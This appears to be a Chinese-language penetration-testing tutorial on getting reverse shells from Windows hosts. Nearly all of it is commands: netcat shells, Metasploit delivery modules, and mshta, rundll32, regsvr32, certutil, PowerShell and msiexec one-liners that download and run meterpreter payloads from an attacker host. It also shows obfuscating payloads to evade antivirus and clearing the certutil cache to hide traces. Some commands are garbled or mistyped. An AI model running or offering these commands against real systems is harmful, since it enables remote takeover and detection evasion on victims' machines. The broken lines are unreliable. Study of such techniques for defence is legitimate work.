目录
通过Metasoloit的HTA Web Server模块发起HTA攻击
反向shell简介
01什么是正向shell
正向shell:控制端主动发起亲贵去连接被控制端·中间网络链路不存在阻碍
02什么是反向shell
反向shell(反弹shell):被控端主动发起请求去连接控制端·通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接受发过来的数据包。
Windows反弹shell
01NC正向shell
被控端:
nc -lvvp 6666 -e cmd.exe
控制端:
nc 192.168.0.105 6666
原理:
被控端将cmd.exe重定向到本地的6666端口·控制端主动连接被控端的6666端口·即可获得shell
01NC反向shell
控制端:
nc -lvvp 6666
被控端:
nc -e cmd.exe 192.168.0.104 6666
再查看控制端
原理:
被控端将cmd.exe重定向到控制端6666端口·控制端只需要监听本地的6666端口·即可获得shell
02mshta.exe
mshta.exe是用于负责解释运行HTA文件的Windows OS实用程序·可以运行javascript或VBScript的HTML文件
通过Metasoloit的HTA Web Server模块发起HTA攻击
use exploit/windows/misc/hta_server
set srvhost 192.168.0.104
exploit -j
mshta.exe http://192.168.0.104:8080/SxUxU5AvkuW2LCX.hta
反弹成功
通过msfvenom生成恶意hta文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.104 lport=4444 -f hta-psh -o 222.hta
开启监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.0.104 -P 4444
开启一个http服务,用于被控制端下载执行hta文件
python3 -m http.server
被控端执行
查看http服务
反弹成功
03Rundll32.exe
Rundll32.exe与Windows操作系统相关,它允许调用从DLL导出的函数(16位或32位),并将其储存在适当的内存库中。
通过Metasploit的SMB Delivery模块发起Rundll32攻击
use exploit/windows/smb/smb_delivery
set srvhost 192.168.1.121
exploit -j
被控端执行
rundll32.exe \\192.168.1.121\qFMnFO\test.dll,0
反弹成功
04Regsvr32.exe
Regsvr32.exe是一个命令行应用程序,用于注册和注销OLE控件,如Windows注册表中的dll和ActiveX控件。
Regsvr32.exe安装在Windows XP和Windows后续版本的 %systemroot%\System32 文件夹中。
语法:Regsvr32 [/s][/u][/n][/i[:cmdline]] <dllname>
/u - 注销服务器
/i - 调用Dllinstall传递一个可选的[cmdline];当它与/u一起使用时·它调用dll来卸载
/n - 不要调用DllRegisterServer;此选项必须与/i一起使用
/s - 沉默;不显示消息框
通过msf的Web Delivery模块启动Regsvr32.exe
use exploit/multi/script/web_delivery
set srvhost 192.168.1.121
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.121
exploit –j
被控端执行
regsvr32 /s /n /u /i:http://192.168.1.121:8080/yvj3GKJwvde.sct scrobj.dll
反弹成功
05Certutil.exe
Certutil.exe是作为证书服务的一部分安装的命令行程序。 我们可以使用此工具在目计算机中执行恶意的exe文件以获得meterpreter会话。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.121 lport=6666 -f exe > shell.exe
python3 -m http.server
certutil.exe -urlcache -split -f http://192.168.1.121:8000/shell.exe shell.exe
./shell.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.121
set lport 6666
exploit
清除日志
certutil.exe -urlcache -split -f http://192.168.1.121:8000/shell.exe delete
06Powershell.exe
你可以使用命令行选项从另一个工具的命令行运行PowerShell,或者PowerShell命令行中使用它来启动新会话
通过PowerShell发起Powercat攻击
通过PowerShell本地后门额监听器和反向shell工具·也成为修改版本的netcat`因为它继承支持经过编码的有效载荷
开启http服务,用于远程加载powercat文件
python3 -m http.server
控制端监听端口
nc -lvvp 7777
被控制端执行,转发cmd命令到7777端口
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.121:8000/powercat.ps1');powercat -c 192.168.1.121 -p 7777 -e cmd"
反弹成功
通过Web Delivery反弹shell
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.121
set lport 4444
exploit -j
被控端执行
反弹shell
通过powershell启动cscript.exe
powershell允许客户端通过执行cscript.exe来运行wsf、js、vbscript脚本。
生成恶意文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.121 lport=8888 -f vbs -o 8888.vbs
开启http服务
开启handler监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.121 -P 8888
被控端执行
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.1.121:8000/8888.vbs','C:\Users\Administrator\Desktop\8888.vbs');Start-Process C:\Windows\System32\cscript.exe C:\Users\Administrator\Desktop\8888.vbs"
桌面生成8888.vbs文件,打开cscript.exe并运行8888.vbs文件
反弹成功
通过powershell启动bat文件
powershell允许客户端执行bat文件
通过msfvenom生成bat恶意文件
msfvenom -p cmd/windows/powershell_reverse_tcp lhost=192.168.1.121 lport=9999 -o 9999.bat
msf开启监听,然后开启http服务用于被控制端下载恶意文件
python3 -m http.server
handler -p cmd/windows/powershell_reverse_tcp -H 192.168.1.121 -P 9999
被控制端执行恶意文件
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.121:8000/9999.bat')"
反弹成功
通过powershell启动exe文件
msfvenom生成恶意文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.121 lport=3333 -f exe -o 3333.exe
开启http服务
msf开启监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.121 -P 3333
执行恶意文件
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.121:8000/3333.exe','1.exe');start 1.exe
powershell -ep bypass -nop -w hidden (new-object
system.net.webclient).downloadfile('http://192.168.1.121:8000/3333.exe','1.exe');start-process 1.exe
反弹成功
07powershell代码混淆
启动Invoke-Obfuscation
powershell -ep bypass
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
启动成功
用msfvenom生成一个ps1文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.121 lport=4444 --arch x64 --platform wiindows -f psh-reflection -o 4444.ps1
启动完成过后,设置混淆脚本代码的位置
set scriptpath +文件位置
选择混淆方式为 TOKEN\ALL
保存混淆之后的脚本
out out.ps1
msf监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.121 -P 4444
运行混淆代码,火绒不报毒
执行混淆后的文件,反弹成功了,火绒没拦截
08msiexec.exe
通过Metasploit启动msiexec攻击
Windows OS安装有一个Windows安装引擎·MSI包使用msiexe.exe来解释安装
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.103 lport=6666 -f msi >1.msi
python -m http.server
msf开启监听,同时开启http服务用于下载恶意文件
handler -p windows/x64/meterpreter_reverse_tcp -H 192.168.0.103 -P 6666
msiexec /i http://192.168.0.103:8000/1.msi
09Metasploit
通过Metasploit生成恶意exe文件发起攻击
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=5555 -f exe -o 1.exe
python -m http.server 8000
hander -p windows/x64/meterpreter/reverse_tcp -H 192.168.0.103 -P 5555
certutil -urlcache -split -f http://192.168.1.103:8000/1.exe&&1.exe
powershell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.0.103:8000/1.exe');1.exe
powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://192.168.0.103:8000/';'1.exe');start-process s.exe